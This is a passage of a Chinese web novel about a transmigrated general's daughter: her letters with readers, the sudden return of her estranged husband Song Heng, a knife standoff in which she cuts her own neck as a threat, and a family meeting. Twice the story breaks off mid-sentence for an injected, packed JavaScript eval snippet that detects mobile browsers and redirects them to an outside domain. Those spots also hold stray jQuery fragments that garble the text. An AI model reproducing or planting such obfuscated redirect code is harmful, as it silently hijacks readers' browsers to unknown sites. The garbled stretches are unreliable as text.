她固执不嫁,我能拿她怎么办,只能养着呗。何况她挣钱的本事不比我差,有单身的底气! 以前不解为何有父母会花式催女儿结婚,现在我算是体会到大龄剩女父母的辛酸了,若是胭脂肯嫁,我绝不要彩礼,倒贴都行! 说起胭脂,她来到我身边其实是个乌龙事件。 当年我跟李素基奉老娘之命,跑去丽春院,将应酬的老爹给拎回来。 恰巧,遇到正在挨骂的胭脂,我见她缩成小小 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“真会说话,刚好素娥还差一个贴身小丫头,这孩子我要了!”前方的李素基见状,折返回来,揪了揪胭脂的耳朵,乐呵呵地评价道:“年纪虽小了点儿,不过瞧着还算机灵,是个可造之材。” 我正有此意,顺水推舟同意了。 当时心里有鬼的我,忽略了老鸨欲言又止的样子。 我并非这个世界之人。 只是不知怎的,死后竟成了将军府的大姑娘李素娥。 有了这段离奇经历,胭脂能看到“我”,我也就不奇怪了,只当胭脂跟我一样身怀异术,直到跟胭脂相处了一段时间后,我才发现自己受到了深深的欺骗。 胭脂真正的“异术”是:谁对她好,谁就是美女。 厨房里的胖大妈,每天多给她一个包子,在胭脂眼中都显得婀娜多姿,楚楚动人。 更令我郁闷的是,胭脂长了副美人胚子的脸,却天生面瘫,还是个木头性格,说话永远在一个调子上。 那日胭脂再一次将《二泉映月》拉成了鸭子临死前的哀嚎。 老鸨忍无可忍,将其一顿痛骂,难怪李素基将胭脂买下时,老鸨一副脱手了赔钱货的兴庆模样…… 可李素基出乎意料地欣赏胭脂,认为她性情沉稳,遇事不惊,今后定可以成为我的左膀右臂,因此待胭脂极好,就快赶上自己的刚出生的儿子李越青了。 我不禁怀疑胭脂的母亲与李素基有不可告人的关系,可随着胭脂渐渐张开的精细模样,我就知道不大可能。 因为老爹的基因实在太强大了,孩子的娘即使再美,他的直系后辈们没一个能成功地逃脱他的模子。 李素基父子和我皆相貌平平,草原上的那群亦是如此。 我和宁慈吃完后,餍足地躺在椅子上消食,正在争论谁收拾碗筷时,有婆子过来通传,说孟青平到访,要接宁慈回府。 宁慈骂咧咧地起身,轻车熟路地将碗筷收进食盒,拎在手上,离开之前指着墙边儿的一只大木箱:“这是本月读者给你写的信,你有空儿就看看吧!” 宁慈走后,我的精气神儿就像被扎破的气球,一下子就瘪了下去。 躺在在床上,听着外面此起彼伏的虫鸣声,我久违地失眠起来,明明身体疲惫不堪,可形形色色的人物控制不住地从脑海中交替闪过,甚至还出现了赵旭那张猪头脸,各种情绪在心中不断翻滚,精神反而更加亢奋。 为了避免胡思乱想到天明,我从床上爬了起来,点上灯,打开了墙角的箱子,拆起读者的信,看着那些温暖的话语,我的心渐渐平静了下来。 突然一封红色信封映入眼帘,上面张牙舞爪地写着无忧散客亲启六个大字。 13. 第十三章 笔友 我的人生就是一地鸡毛,所以我取了个无忧散客的笔名,用以自欺欺人。 这封信的主人,笔名很长很中二,全称真男人无所畏惧,我称他无畏兄,是我四年的铁杆读者。 说实话,我的铁杆读者其实很多。如果仅仅论专一,无畏兄并不算特别。 他特别在——是个“豪”无人性的土豪! 《双面客》快结局时,无畏兄的信紧急追了过来,文邹邹地表示:他不能接受侠肝义胆的男主角是个精神分裂的变态杀人狂,要我改成杀人狂是男主角的孪生弟弟。 信中还附了一张五百两的银票:若是能改了结局,再给你寄一张一千两的银票。 我毫不犹豫地昧下了银票,依旧初心不改,给了《双面客》一个悲催结局,毕竟我的日子都那么窝囊,怎么可能给话本好结局! 没过几天,一封气急败坏的信送到了我的手里,大意是我拿钱不办事,今后再也不看我的话本了…… 第二个话本快到大结局时,无畏兄似乎预感到我又要报社了,再次寄来一封夹着五百两银票的信,要我给个好结局,否则就要我好看! 我看穿了他的色厉内荏,丝毫不在意他的威胁,继续给了个悲催结局。 无畏兄像是杠上我了一般,每当我的话本快要到结局时,他总会寄来五百两银票,要我给个好结局。 在收了五千两银票后,我终于良心发现,决定满足无畏兄的愿望。 终于给我的第十本话本写了个圆满结局。 无畏兄反而不满意了,很快给了我来了一封信,上面就一行字:无忧散客,汝变也!!! 无畏兄,你到底要哪样! 看在银票的份儿上,我回了两句诗——等闲却变故人心,却道故人心易变。 隔了很长一段时间,我以为他再也不会搭理我了,无畏兄的信又来了。 我打开一看差点儿笑岔气儿,信是这样的:人常曰,气节无价,吾欲知气节果真不可易耶!今无忧散客之气节,五千白银尔! 我:“……” 果真土豪啊,五千两银子只是为了检验未曾谋面之人的气节! 唉,说到气节,我以前还真有过! 当年在诏狱时,我可真是宁死不屈来着,可死去活来后,我的气节连同节操碎了一地,再也拾不起来了…… 于是我很无耻地回了一封信:金钱固然买不到气节,气节却能为金钱所卖,如果再来五千两,还可以再卖一次! 这次无畏兄回信的速度很快,信中无一字,仅画着一只手,中指高竖。 赵嘉仪啊,赵嘉仪,你又带坏小孩儿! 吐槽完赵嘉仪,我立刻来了精神,不就是斗图嘛! 我立刻画了个网络最常用的——捂脸哭笑不得的表情包。 无畏兄也来了兴致,很快回了个表情包……一段时间里,我们的信没有半个字,全是斗图。 最后无畏兄终于招架不住了,写信求和:日日构图,头几欲秃,何独汝花样甚多耶?吾叹服,自愧弗如也! 我暗笑:自然是广大网民的共同智慧了咯! 无畏兄出手豪横,我一直认为他的表情包大多应是别人代笔。 没想到竟然是原创! 我不好意思再拿前世网民的智慧结晶欺负他,据实以告:非我独创,照着别人画的。 无畏兄火速回了封大白话:“你特么怎么不早说,老子头发都少了一半!” 一来二去,我发现和无畏兄性格颇为投缘,也算是不吵不相识了。 大概我们素未谋面,又互不知根底,所以我们就如同彼此的树洞一般,很多事情都隐去首尾讲给对方听,还相互出些馊主意。 久而久之,交情渐深,倒成了无话不谈的笔友。 这次无畏兄就在信中道:愚兄今年家中收益颇丰,只是刁奴太多,个个中饱私囊,还理直气壮,与之斗智斗勇,甚是头痛! 为此,愚兄又纳一美妾,乃江南人士,精明能干,闺中之时,执掌中馈,甚有方,望其能助吾一臂之力…… 信末:近日天凉,无忧记得添衣加饭。 从往日的来信中可以窥出无畏兄的大致情况:无畏兄家业不凡,还是家中独子,但父亲早亡,有一大票觊觎家产的亲朋好友,还有一帮各怀心思的家仆。他为住守家产操碎了心,常年与身边之人斗智斗勇。虽偶有上风,但是大多时候身处下风。 按理说,我应心生同情。 可一想到收益颇丰,又纳美妾几个字,总觉得他的抱怨里充满了凡尔赛的气息,内心不由一阵窒息。 想了想,我也回了一封信:恭喜无畏兄财源广进、再添新房…… 近来有一事萦绕心中良久,不吐不快。 愚弟与娘子性情相左,争吵多年,感情早已消磨殆尽,仅余疲惫,欲与之和离。奈何拙荆貌若天仙,世间难觅,又广有积财,弃之甚是可惜。然鱼与熊掌不可兼得,左右为难,无畏兄经验丰富,望为愚弟指点迷津,不胜感激。 宋珩渣归渣,综合条件还是当得起世间极品的,趁着他和我还有夫妻名分,先借他装一波再说。 你有家财万贯,我有绝色娘子,心里顿时平衡了。 将信封好后,放到一边,我继续拆信,心情愈发愉快。 直到一行清新娟秀的字迹进入视线,我轻抚着手中的信,神色不由微微凝住。 这封信的主人是个下堂妇,闺名玉清。 玉清非常喜爱我的话本,每次来信必有打赏,阔绰程度仅次于无畏兄。由于隔得远,十天半个月才能收她的一封信,频率远不及无畏兄。但她的信总能触动我的内心深处,令我不由自主生出一股怜惜之意。 哪怕她天真得近乎愚蠢,自私得近乎狠毒。 谈起玉清的经历只有一片叹息。 四年里我从一封封的来信中,从头到尾地旁观了她不幸的始末。 玉清的第一封信便揪紧了我心。 她自陈和大表哥青梅竹马,情投意合,还打算在她及笄那年成婚。 可天有不测风云,大表哥家中犯事,全家入狱。大表哥为了保住家人,娶了中意他多年的高门之女。她虽伤心欲绝,却也明白大表哥的苦衷,只能将过去情意藏于心中,含泪祝福他。 后来她受大表哥之托,去探望即将被充军的二表哥,不料二表哥却趁机污辱了她,并以此要挟嫁给他。 她碍于自己的名节、家族的声誉不敢直接拒绝。可她对他恨之入骨,见到他便心生屈辱,更遑论嫁给他。 玉清最后问我:“女子是否该为了声誉,嫁给恩将仇报、玷污自己的小人?” 我愤怒又心痛,第一反应当然是将这种畜生扭送到衙门,打断他的第三条腿啊! 可是转念一想,此事确实不宜闹大。正如玉清所言,这种事情传扬出去受伤害的反而是女子。 我斟酌良久,回了一封信:首先错不在玉清,你无须对此有心里负担。其次不要为了畜生的错误而伤害自己,赔上自己的一生。如果父母靠得住,那就告诉父母,不要独自承担。最后在可以保护自己的前提下,让那个畜生付出惨痛的代价,休想逍遥法外。 我将她的银票塞了回去,在信上又添了几行,叮嘱让她存好,不要乱花钱,为自己早做打算。 过了半个月后,我收到了玉清回信,里面还塞着更多的银票。 她道,玉家虽非高门大户,可家中世代经商,也算富甲一方,让我不必在意。 好吧,原来又是个不差钱的主儿。 其实《双面客》之所以收入不菲,无畏兄和玉清的“鼓励”占大头。 信末,玉清自言已将那畜生处理了,看在大表哥的份上,留了那畜生一条小命。 见她从容解决了危机,我心里微微松了口气,怕刺激到她,不再提起此事,知道她喜欢我的话本,便特意聊起了《双面客》话本未来的方向。 玉清对话本很有见地,为我指出了矛盾之处,甚至还早早猜出了男主可能就是杀人凶手。 我不禁叹服,经常和玉清探讨话本构思,后来渐渐聊得深了,发现她不但思维缜密而且见多识广,对时事也有着独特看法,甚合我心。 一来二去,我们虽不曾见面,倒也互相引为知己。 我们通信半年后,她突然来信说:她跟从京城远道而来、父亲的故交之子邹二少相爱了。只是邹二少门第显赫,而她出身商户,又非完璧之身,自觉配不上邹二少,却又觉得此生非他不可,失去他宁愿去死。 “我那么爱他,愿意付出一切代价,成为他的妻子。”看到这里,我心中又提了起来:虽然为她找到心中所爱而高兴,可那件事不知她有 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我怕玉清上当受骗,出了个馊主意:让她暗中打听邹二少心上人的下落,找机会看看邹二少的心上人相貌,不要自己疑神疑鬼,以免落入别人的圈套里。 玉清照做了,很快回信,却证实了替身一说:邹二少身边最信任的小厮,亲口承认了玉清跟心上人的相貌有八分相似。 “无忧大哥,尘埃落定后,我嫉妒又不甘,内心尤如万蚁啃噬,日夜难安。可我实在爱极了二爷,不愿再深究下去。二爷将我当做替身,我也瞒了他与那畜生之事,想来我们之间也算扯平了。今后我会用真心感化二爷,摆脱别人的影子,成为他真正的妻子。” 读到这里,我才明白了为何玉清始终不愿意追问邹二少真相,对替身一说笃定不疑。 或许她的内心深处对邹二少终究是内疚自卑的,替身一事虽让她难过,但从另一方面来讲,何尝不是减轻了她的负担与愧疚。 想通此节后,我叹息一声,暗骂畜生害人不浅,误了玉清,否则她那样蕙质兰心的女子何须如此左右为难。 可这般相互欺骗,自以为是的扯平,我总觉得会他们的感情恐生波澜。 果然玉清性格骄傲,无法真正释怀邹二少将自己当作替身一事,邹家姐姐似乎也于其中不断挑唆,她的来信越来越疯狂。 我坐立不安,打算去见一见她。 自从得知玉清和邹二爷成亲后,我试着打听他们的消息,真的打听到了二人的信息,还没等我动身,她的信先到了。 事情已到了无可挽回的地步。 邹家姐姐果然不安好心,借玉清之手毒害了邹二少的心上人。 邹二少得知此事,惊怒不已,如同入了魔,不但日日折磨于她,逼死了她即将出世的孩子,还与邹家决裂,并认为玉家教女无方,时常上门折腾玉家。 “无忧大哥,玉清自知识人不清,铸成大错。二爷将气出在我身上,我无怨无悔,甘愿承受。可想到娘家生我养我一场,实在不该受我连累。我气极之下,做出了后悔莫及之事。” 我当时看完信后,怀疑玉清是不是添油加醋了。 邹二少跟宋珩是同一批的进士,有一次上京述职时,我还远远见过其一面:他身量矮小,见人三分笑意,很难想象他拳打娘子,脚踢岳丈的模样。 也许人都是两幅面孔的,对外人唯唯诺诺,对家人重拳出击。 我冷淡回信:既然如此,何不一别两宽,各觅前缘。 玉清则道:除非她死,即便是死了,她也要入邹家祖,与二爷死后同穴,长眠地底。 言下之意:玉家她是顾不上了,真是带孝女啊! 我虽同情玉清的遭遇,但是她的偏执令我心惊,自觉与她不是一路人,渐渐疏远她。 玉清却像是毫无所觉一般,一直坚持给我写信,今夜的来信中,她似乎下定了决心,要将一切告诉邹二少,求得他的原谅,与邹二少重新开始。 以前我担心信件流传出去,泄露了玉清的事,令她名誉受损,因此每次将她的信看完后便立刻焚毁。 这次也不例外。 “重新开始,想得可真美啊!” 看着洁白的信笺一点一点儿变成灰烬,我微微笑了起来,爬到床上睡了个好觉。 14. 第十四章 宋珩 我昨晚睡得有些不安稳。 宋家的狗不知发了什么疯,嚎得十分厉害,中间还穿插着府中守夜人的呵斥声,我迷迷糊糊从梦中惊醒。 正担心进贼了,喧嚣声突然小了下去,只余一两声狗叫,我顿时放下心来,宋家守卫森严,若是进贼,早就闹大了。 我猜来人可能是来找宋琛的。 赵旭行事随心所欲,半夜宣宋琛进宫并非一回两回了,这一两年次数少了些,他性情喜怒无常,想折腾人还不是一句话的事儿。 再次入睡后,我又隐约听到窗户翻动的声音,接着来人蹑手蹑脚地摸到了我的床头,途中还不小心撞到了桌子。 我想着应该是胭脂。 自我差点死去,胭脂便养成了半夜突袭我的毛病,时常来看看我还有没有气,有时还会整夜守着我,赶也赶不走,脾气倔得要命。 今夜大概也听说了宋珩将要回来的消息,担心我想不开,特地来监督我睡觉。 其实她真的想多了,为宋珩这种渣渣犯不着。 我困得要命,懒得与她解释,如同过去一般,眯着眼睛往床里面滚了滚,待听到她躺下后,摸索着给她掖了掖被角,便沉沉睡去。 我睁开眼时,天已大亮,里侧床边的雕花清晰可见。 由于昨夜连续两次惊醒,我脑子昏昏沉沉,略微睁开眼,就感到眼皮沉重,不由打了个哈欠,再度闭上了眼。 继续睡了一个时辰后,顿觉精神餍足,我情不自禁地舒展着身体,翻身转向胭脂,感受着耳边起伏的呼吸声,心中升起一股异样之感。 胭脂素来早起,无论晚上睡得多晚,第二天六点准时起床,不像我动辄赖床。 今天她怎么舍得多睡一会儿,莫非昨晚一夜未睡,守了我一整晚! 我狐疑地掀起眼皮,仅仅一眼,我登时清醒过来。 虽只看了个模糊轮廓,也知道眼前之人绝非身材苗条的胭脂,这如山岳般的身形绝对是个男子。 男子横卧于床,长发随意披散,身着白色中衣,胳膊压在枕头上,单手支着脸,正目不转睛地看着我,见我醒来,眼角弯弯,唇角漾出些许笑意。 我定睛一看,认出男子后,浑身打个激灵,不可置信地喊道:“大哥!” 男人嘴边的笑顿时僵住,正要开口,我上前一把捂住他的嘴,伸出脖子,做贼似的朝门的方向看了看,确认无人后,才压低声音急急道: “大哥,绝对有人陷害我们。您是知道我的,素来专一,从来只喜欢二十多岁的小伙子,绝无可能将主意打到你的头上。趁无人发现,你赶快走……算了不妥,说不定外面有人等着,要不委屈一下您,到房梁上躲一躲……” 话还没说完,只听见李越青那个讨债鬼,“砰砰”砸着房门,大着嗓门:“姑姑,姑姑,姑姑别睡了,姑父回来了!” 只是他刚喊了几声,一道清朗的男声在门外响起,低声说了些什么,李越青立刻偃旗息鼓,随后门外没了动静。 来人的声音似乎是宋珩身边第一狗腿张锦。 张锦原是宋家家生子,从小跟在宋珩身边,由于其相貌堂堂,能力出众,宋家认为他是个人才,早已恢复了他良人身份,只是他依旧对宋珩忠心耿耿,宋珩在哪里,他就在哪里。 我意识到什么,猛然将手缩回,缓缓低头看向男子。 男子徐徐起身坐起,伸出手摸了摸我的脸,扬眉轻笑:“娘子,我回来了。” 淦,男子竟然是宋珩,他不是还有四五天才回来么,怎么提前回来了! 事后我向李越青抱怨,他翻了翻白眼,嗤笑:“动动脑子也知道姑父不可能过四五天才回来,哪有提前好几天张灯结彩的。” 他见我捏紧了拳头,自知失言,飞快地祸水东引:“肯定是宋老爷为了稳住你,故意说错归期。若你知道姑父今日归家,你很可能昨晚就偷跑了,他到时不好跟姑父交代。 若是告诉你姑父四五日之后回来,你至少得谋划一宿,毕竟你还有这么多物件在宋府,料定你舍不得丢下。等姑父回来后,你即便跑,那也与他无干了。” 此刻我失神地望着宋珩,久久没有从冲击中回过神儿,直到他动手动脚,我才反应过来,不禁热血上头,习惯性地报以老拳。 宋珩神色不变,轻而易举地接住了我拳头,反客为主将我困在床上,还不能挣扎,否则就像我主动投怀送抱一样。 这真的不是宋琛么,宋珩的身手什么时候这般高明了,还是那个挨打只会抱头的柔弱书生么? 还记得第一次和他见面时,我们遇到了两个新手强盗。 其中有个强盗瞧中了宋珩的美貌,对他毛手毛脚,宋珩反抗无果,忍无可忍,不知从哪里摸出一把匕首。 我以为他要和强盗拼命,结果他抵着自己脖子,对着强盗视死如归道:再无礼,我就死给你看! 最后还是靠我行走江湖的“三步倒”,迷晕了强盗,宋珩才免于辣手摧草。 自那以后,宋珩的柔弱形象深入我心,一直把他当成一个易碎的花瓶,除了林思苑给他添儿子那次失了手,平时揍他一直拿捏着分寸,生怕不小心将他打坏了…… 莫非宋珩被我打出了心理阴影,过去五年里苦练身手,意图一雪前恨?若是他打我一顿就肯与我和离的话,倒也不是不可以让他出出气…… 正胡思乱想间,宋珩像是看穿我心中所想,轻描淡写道:“当年我曾和大哥一起习武,岳父就曾夸我天分高。只是大哥向来心高气傲,读书已经压过他一头了,拳脚上不好再胜他一筹。” 我闻言愣了愣,心道:“难怪!“ 宋琛曾无意中感慨他处处不如弟弟宋珩,我为了讨好他,上赶着拍马屁:“天生我材必有用,宋珩功夫上就不如大哥啊。” 原来马屁拍到马腿上,怪不得宋琛当时脸色奇异,神情悻悻。 正懊恼间,宋珩的声音幽幽在耳旁响起,“说到大哥,娘子刚刚说的是,大哥跟在圣上身边,习惯了早出晚归,日夜颠倒的生活,昨夜见他确实憔悴得很。” 我听着不对味儿,好端端地扯宋琛做甚,莫非刚刚将他误认成宋琛,以为我对宋琛心怀不轨? 想到这里,我不禁怒火中烧,鄙视地看向他:以为人人都跟他宋珩似的,专挑亲戚下手! 宋珩见状,唇角微翘,继续道:“新安县虽天气炎热,日头毒辣,可为夫素来在府衙办公,甚少外出,面色还养白了些。” 说着他的神情竟逐渐腼腆起来:“众人皆常言为夫看起来像二十出头的小伙子,想来以我这副姿容还可以博得娘子欢心。” 我:“……” 我瞄了宋珩一眼,不知他是如何做到面不改色自吹自擂的。 宋珩的样子与我记忆中有了很大不同。 五年前,宋珩虽长身玉立却略显单薄,面上还残留一丝他那个年龄罕见的少年感。 如今的宋珩已完全褪去了毛头小子的青涩,棱角较之以往分明许多,肩膀也宽阔了几分,加之官场多年历练的缘故,眉宇间多了几分类似宋琛的沉静威严。 以前他们两兄弟只是形似,如今还神似起来,以往一眼便可分辨出来,现在恐怕得多瞅两眼才行。 若早知道二人长相殊途同归,还不如嫁给宋琛,人家好歹有权有势! 我怕激怒宋珩,忍着翻白眼的冲动,没有嘲笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730429|157276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出声。 哪知宋珩见我不言,似乎受到了鼓舞,脸越凑越近,温热的气息喷在我的耳边,鸡皮疙瘩顿起。 我心中一慌,避之不及地撇过脸,将方才所想脱口而出,“宋珩五年未见,你怎么长成这副尊容的,简直跟大哥没有什么区别了。” 宋珩跟我夫妻一场,自然听明白了我的言外之意,微微抬头,眸色深深地看了我一眼,笑眯眯道:“娘子放心,为夫容颜不曾如大哥般消减,只是心念娘子,一路快马加鞭,舟车劳顿,所以看上去不似以往容光焕发,待为夫将养几日,定可恢复如前,包娘子满意。” 怎么说的我好像色中恶鬼,还是那种嫌弃妻子年老色衰的渣男! 我忿忿不平,可想到我的专一言论,不由语塞,轻咳两声,左顾言它:“看不出来宋大人文武双全,感谢您以前手下留情了。” 宋珩闷笑:“娘子这话错了,为夫哪里舍得对你动手。” 我瞥了眼宋珩越来越不安分的手,气沉丹田,大喝道:“爪子拿开!” 宋珩置若罔闻,一边儿在我身上捏来捏去,一边儿自言自语道:“比以前胖了。” 我气急,手脚却施展不开,突然想到了什么,作势用头撞他的左眼。 宋珩果然条件反射性伸手挡住眼睛,一瞬间放松了对我的压制,我趁机一把掀翻宋珩,跳到床下,指着他的鼻子破口大骂: “宋珩我告诉你,少在这里耍流氓,要不是借你家躲仇人,我早就跑了。至于你,哪儿凉快,哪儿呆着去!” 宋珩养气功夫极好,跟个泥人似的,我说得都这么难听了,他也不发火,目光灼灼地盯着我:“大哥说娘子脾气收敛许多,依为夫看,一点儿也没变,还是当年的暴脾气嘛。” 我彻底无语,懒得再听他骚言骚语,直接从床底摸出一把大刀,架在他脖子上,恶狠狠道:“姓宋的,收起你那些恶心的言辞,我告诉你,赶紧把休书写给我,不然姑奶奶就砍死你,同归于尽!” 大概太激动的缘故,我手上没个轻重,刀刃在宋珩脖子上划出一道血线,顿时鲜血沿着刀刃一滴滴地落在他雪白的中衣上,晕染成一朵朵血花。 宋珩像是感觉不到痛似的,气定神闲地靠在床栏,“娘子,当真如此狠心?” 看着脖子淌血的宋珩,我恍惚起来,彷佛回了五年前,急怒攻心的我将碗摔在宋珩的头上,血流得比今日还多。 过去与现实交叠,我的手抑制不住地颤动起来,有那么一瞬间想要将刀扔出去。 最终还是忍住了,我和宋珩始终要有个了断的。 我别开眼睛,不去看宋珩的伤口,稳住握着刀的手,硬起心肠:“你写是不写?” 宋珩眼角扫了一眼脖子上的刀,便收回视线,“不写,为夫知道娘子心中有气,若砍我一刀,能令娘子消气的话,娘子请便!” 看着宋珩这副油盐不进,断定我不会真的伤他的模样,我气的咬牙,心底的无名怒火再次熊熊燃起,冒出一股砍死他,再自杀的冲动! 李越青虽不争气,但好歹也快成年了,勉强可以顶得起门户了,我就要享福了,不能为了宋珩这厮,再赔上我的下半辈子。 于是我抽回了刀。 宋珩像个胜利的孩子一样,得意笑笑,不过很快他笑不出来了,因为我把刀架在了自己的脖子上。 宋珩开始还试图抢刀,见我也把脖子割出一条口子后,立刻怂了,双手举起:“素娥,你冷静一下,千万不要伤着自己,我知道你不想见我,我马上滚。” 都到这地步了,宋珩不提休书一事儿,竟想蒙混过关,我气得要砍他,可还未来得及抓住他,人就跑得没影了! 15. 第十五章 无题 外面立刻传来此起彼伏的惊呼声儿,宋珩立刻喝止了,还急忙吩咐胭脂进来帮我。 胭脂很快走了进来,后面还跟着李越青和宋沛。 两个小子见我脖子上流着血,宋沛抹着泪扑了过来,李越青则跑到门口鬼哭狼嚎地要叫大夫。 “李越青你给我回来!”我喊回李越青,又摸了摸宋沛的脑袋:“沛哥儿别哭,娘没事,就是条口子,不严重。你们就是大惊小怪,难道忘了我可是有医术在身的。” 胭脂比他们淡定多了,一声不吭地拿来药粉纱布,小心翼翼地给我上药止血。 “ 嘶,我说胭脂,能不能轻点儿!”这药粉里含了些许薄荷,刺激到伤口,痛的我不禁龇牙咧嘴。 胭脂不理睬我,动作倒是轻柔了不少。 李越青从门口折返,瞅了瞅我伤口,嬉皮笑脸地坐到我身边儿:“姑姑,我当然知道你伤得不重,只是我不吼两嗓子,府上的人怎么知道你也受伤了呢!姑父流点血,闹得满府皆知,进而全京城也知道了,到时你们和……” 像是想到了什么,他止住了话头,瞅了瞅宋沛,轻咳两声继续道:“你的名声还嫌不够臭嘛!” 我伸出食指点了点他的额心,“现在你脑子倒灵活起来了,刚刚怎么跑了?” “姑姑,你可真会冤枉人,我一早儿得知张锦他们回来了,没瞧见姑父和姓林的,还以为他们一起去祭祀姜侯爷了呢。”李越青怪叫:“我特意赶来提醒你有硬仗要打,结果张锦拦住我说姑父昨夜翻城门提前回来了,在你房里歇了一晚。那我还掺和个什么劲儿! 说到这里,他怒其不争地看了我一眼,“姑姑想必再次色令智昏喽,姑父卖弄卖弄美色,你定拿他没辙了。” “胡说八道,你没看见我们两个一身血么,我那是——”我气急连忙解释,话还没说完,李越青便抢白道:“哦,我懂了,姑姑先把便宜占了,再翻脸不认人,是吧!” 我虽有色心,可自认吃着宋家饭的,从没给宋珩戴过绿帽子,为何我在所有人眼里都是色中饿鬼的形象? “天涯何处无芳草,无论如何也不会吃宋珩这棵回头烂草的。”和李越青“友好”沟通一番后,看着三个小家伙全然不信的诡异眼神,我咬牙道:“昨晚我以为是胭脂,你敲门那阵我才刚醒,还没来得及占便宜……不对,是宋珩还没来得及占我便宜。” 李越青又不依了,“胭脂是我未来媳妇儿,姑姑你注意点儿影响,怎么老惦记你侄媳妇儿,你若把她带偏了,我就当和尚去,让老李家断子绝孙!” 我:“……” 我磨刀霍霍正要动手,胭脂已经揪起李越青的耳朵将他拖了出去,屋内只剩我跟宋沛。 一直站在旁边没插上话的宋沛轻轻碰了碰我的脖子:“娘,还疼吗?” 我握住他的手,将他拉到身边坐下,摇摇头:“没事儿,沛哥儿不用担心。” 宋沛紧紧地挨着我,将头埋在我的肩上,闷声道:“娘你要好好爱惜自己,不要再受伤了。” “好。”我抬手摸了摸他的头发,想到李越青未完的话,我欲言又止,不知该怎么和他说我跟宋珩和离的事情。 正当我迟迟开不了口时,胭脂走了进来:“娘子,老爷让你跟沛哥儿去前厅一趟。” 我舒了口气,牵着宋沛的手去见王氏。 …… 到达前厅后,我环视了一下四周,屋内仅有四个人,宋老爷端坐在上首喝茶,徐有凰与宋珩相对而坐。王氏则紧抱着宋珩,抚着他的脖子老泪纵横,心疼地不得了的样子,见了我居然没发火,冷哼一声擦干眼泪,坐到宋老爷身旁不吭声了。 我尴尬地摸了摸鼻子,小人之心地想:她肯定在心里咒我,若不是我也带着伤,今天又要吃顿排头了! 与李家结亲,王氏估计肠子都悔青了,为着一时的便宜,宋珩吃了多少苦头啊。 “沛哥儿,快过来。”宋老爷与我简单问候之后,立刻对宋沛招了招手,将宋沛拢在怀中,满脸的慈爱之情。 宋老爷是个典型的封建大家长,在家里老是摆出一副不苟言笑,正襟危坐的样子,对两个儿子少有温情脉脉的时候。 大概是隔辈亲,亦或是两个儿子出息了,自觉身上的担子轻了,他开始享受起天伦之乐来,与儿子错过的温情,他一股脑地投射到了孙子身上。 说来宋老爷也倒霉,两个儿子都太痴情,娶的老婆都不是受孕体质,多年没个一儿半女,宋老爷一腔舐犊之情差点无处可发。 好在还有宋沛。 虽然宋沛生母不详,却是宋家第一个孙辈,又是期盼了许久的孙子,宋老爷对宋沛的感情极深。哪怕后来又添了两个孙子,宋老爷依旧对宋沛最为宠爱。 宋琛这个生父,我这个名义上的母亲,比起宋老爷都略差了一筹。 “沛哥儿,快拜见你爹爹。”宋老爷将宋沛轻推到宋珩面前,又对宋珩笑道:“阿珩,瞧瞧沛哥儿,五年前他只到我的腰上,转眼就这么高了。” 说到动情之处宋老爷还比划了起来。 我在一边儿暗笑:这样喜形于色的宋老爷倒是少见,今天算是大开眼界了。 宋沛是个沉稳性子,没有立即上前拜见,漆黑的眸子朝我看来。 我知道他的犹豫。 亲爹和他就住在一个屋檐下,却只能叫他大伯,现在来了个便宜爹,却又跟自己的养母感情不合。 小小年纪,夹在中间,确实左右为难,这种为难我深有体会,差点被撕扯得发疯。 我不忍他重蹈我的覆辙,冲他微微点头,朝宋珩努了努嘴,示意他认下宋珩这个便宜老子。 宋沛收到我的示意,不卑不亢地在宋珩身前拜倒,礼数周全,挑不出什么毛病。 我心中暗暗赞叹,果真长大了,不再是当年那个连话都说不清的小萝卜头了。 宋珩稳稳坐在椅子上,居高临下地望着宋沛,脸上透着一股不可捉摸之色,一言不发。 我想他心中应当是不虞的。毕竟不是亲生孩子,却因我的无理取闹,成了他的嫡长子,白白占了他亲生儿子的名分。 搁我,我也不高兴。 又想到我即将丢下宋沛,带着李越青和胭脂跑路,恨不得抽自己俩耳光。 真应了那句老话,天作孽尤可活,自作孽不可活! 看着宋沛可怜兮兮的跪在那里,我不乐意了,走到宋珩身后,用手指戳了戳他的后腰,提醒他差不多得了,少欺负晚辈。 宋珩却趁机捉住我的手,紧紧握在手心,我挣了半天没有挣开。 大庭广众之下,我没好意思看在场人的表情,只得使劲瞪他,他却冲我笑笑,下巴往宋沛方向抬了抬。 我知道宋珩在威胁我,若我再不知好歹,他就不让宋沛起来,而且他绝对做得出来的。 宋珩此人表面温顺和气,骨子里却是任性的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730430|157276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我咬咬牙,忍着心中的不耐,没有甩开他,宋珩见计谋成功,俊美的脸上露出个得意的笑容。 我微微一怔,这是他今天第一次真心实意的笑,整个人看起来轻快不少,仿佛我又看到了当年在快活楼上低头浅笑的温和少年。 可细看之下,眼前的宋珩虽生得俊美无俦,眼角却带着淡淡的细纹,眉宇间也不可避免地染着几缕沧桑。 哪里还是我记忆深处那个笑容晏晏的温润少年,我摸了摸自己的脸,想必他也有同感…时间早已将我们腐蚀成了熟悉的陌生人。 宋珩终于不咸不淡地让宋沛起身,面上波澜无惊地从怀中摸出一块儿圆形玉珏来,随意地递给宋沛。 